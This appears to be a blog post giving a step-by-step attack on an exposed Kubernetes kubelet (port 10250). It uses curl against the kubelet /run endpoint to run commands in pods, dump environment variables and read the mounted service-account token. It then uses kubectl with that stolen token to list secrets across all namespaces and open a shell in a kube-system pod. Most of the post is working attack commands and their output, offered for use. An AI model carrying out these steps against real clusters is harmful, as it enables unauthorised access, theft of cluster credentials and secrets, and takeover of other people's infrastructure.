kube-hunter output to get us started:
do a curl -s https://k8-node:10250/runningpods/ to get a list of running pods
With that data, you can craft your post request to exec within a pod so we can poke around.
Example request:
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"
Output:
total 35264
drwxr-xr-x 1 root root 4096 Nov 9 16:27 .
drwxr-xr-x 1 root root 4096 Nov 9 16:27 ..
-rwxr-xr-x 1 root root 0 Nov 9 16:27 .dockerenv
drwxr-xr-x 2 root root 4096 Nov 9 16:27 bin
drwxr-xr-x 5 root root 380 Nov 9 16:27 dev
-rwxr-xr-x 1 root root 36047205 Apr 13 2018 dnsmasq-nanny
drwxr-xr-x 1 root root 4096 Nov 9 16:27 etc
drwxr-xr-x 2 root root 4096 Jan 9 2018 home
drwxr-xr-x 5 root root 4096 Nov 9 16:27 lib
drwxr-xr-x 5 root root 4096 Nov 9 16:27 media
drwxr-xr-x 2 root root 4096 Jan 9 2018 mnt
dr-xr-xr-x 134 root root 0 Nov 9 16:27 proc
drwx------ 2 root root 4096 Jan 9 2018 root
drwxr-xr-x 2 root root 4096 Jan 9 2018 run
drwxr-xr-x 2 root root 4096 Nov 9 16:27 sbin
drwxr-xr-x 2 root root 4096 Jan 9 2018 srv
dr-xr-xr-x 12 root root 0 Dec 19 19:06 sys
drwxrwxrwt 1 root root 4096 Nov 9 17:00 tmp
drwxr-xr-x 7 root root 4096 Nov 9 16:27 usr
drwxr-xr-x 1 root root 4096 Nov 9 16:27 var
Check the env and see if the kublet tokens are in the environment variables. depending on the cloud provider or hosting provider they are sometimes right there. Otherwise we need to retrieve them from:
1. the mounted folder
2. the cloud metadata url
Check the env with the following command:
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"
We are looking for the KUBLET_CERT, KUBLET_KEY, & CA_CERT environment variables.
We are also looking for the kubernetes API server. This is most likely NOT the host you are messing with on 10250. We are looking for something like:
KUBERNETES_PORT=tcp://10.10.10.10:443
or
KUBERNETES_MASTER_NAME: 10.11.12.13:443
Once we get the kubernetes tokens or keys we need to talk to the API server to use them. The kublet (10250) wont know what to do with them. This may be (if we are lucky) another public IP or a 10. IP. If it's a 10. IP we need to download kubectl to the pod.
Assuming it's not in the environment variables let's look and see if they are there in the mounted secrets
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"
sample output truncated:
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered)
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
We can then cat out the ca.cert, namespace, and token
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"
Output:
total 4
drwxrwxrwt 3 root root 140 Nov 9 16:27 .
drwxr-xr-x 3 root root 4.0K Nov 9 16:27 ..
lrwxrwxrwx 1 root root 13 Nov 9 16:27 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Nov 9 16:27 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Nov 9 16:27 token -> ..data/token
and then:
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
output:
eyJhbGciOiJSUzI1NiI---SNIP---
Also grab the ca.crt :-)
With the token, ca.crt and api server IP address we can issue commands with kubectl.
$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --all-namespaces
Output:
NAMESPACE NAME READY STATUS RESTARTS AGE
kube-system event-exporter-v0.1.9-5c-SNIP 2/2 Running 2 120d
kube-system fluentd-cloud-logging-gke-eeme-api-default-pool 1/1 Running 1 2y
kube-system heapster-v1.5.2-5-SNIP 3/3 Running 0 27d
kube-system kube-dns-5b8-SNIP 4/4 Running 0 61d
kube-system kube-dns-autoscaler-2-SNIP 1/1 Running 1 252d
kube-system kube-proxy-gke-eeme-api-default-pool 1/1 Running 1 2y
kube-system kubernetes-dashboard-7-SNIP 1/1 Running 0 27d
kube-system l7-default-backend-10-SNIP 1/1 Running 0 27d
kube-system metrics-server-v0.2.1-7-SNIP 2/2 Running 0 120d
at this point you can pull secrets or exec into any available pods
$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get secrets --all-namespaces
to get a shell via kubectl
$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --namespace=kube-system
NAME READY STATUS RESTARTS AGE
event-exporter-v0.1.9-5-SNIP 2/2 Running 2 120d
--SNIP--
metrics-server-v0.2.1-7f8ee58c8f-ab13f 2/2 Running 0 120d
$ kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system--server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- /bin/sh
/ # ls -lah
total 40220
drwxr-xr-x 1 root root 4.0K Sep 11 07:25 .
drwxr-xr-x 1 root root 4.0K Sep 11 07:25 ..
-rwxr-xr-x 1 root root 0 Sep 11 07:25 .dockerenv
drwxr-xr-x 3 root root 4.0K Sep 11 07:25 apiserver.local.config
drwxr-xr-x 2 root root 12.0K Sep 11 07:24 bin
drwxr-xr-x 5 root root 380 Sep 11 07:25 dev
drwxr-xr-x 1 root root 4.0K Sep 11 07:25 etc
drwxr-xr-x 2 nobody nogroup 4.0K Nov 1 2017 home
-rwxr-xr-x 2 root root 39.2M Dec 20 2017 metrics-server
dr-xr-xr-x 135 root root 0 Sep 11 07:25 proc
drwxr-xr-x 1 root root 4.0K Dec 19 21:33 root
dr-xr-xr-x 12 root root 0 Dec 19 19:06 sys
drwxrwxrwt 1 root root 4.0K Oct 18 13:57 tmp
drwxr-xr-x 3 root root 4.0K Sep 11 07:24 usr
drwxr-xr-x 1 root root 4.0K Sep 11 07:25 var
For completeness if you got the keys via the environment variables the kubectl command would be something like this:
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces
No comments:
Post a Comment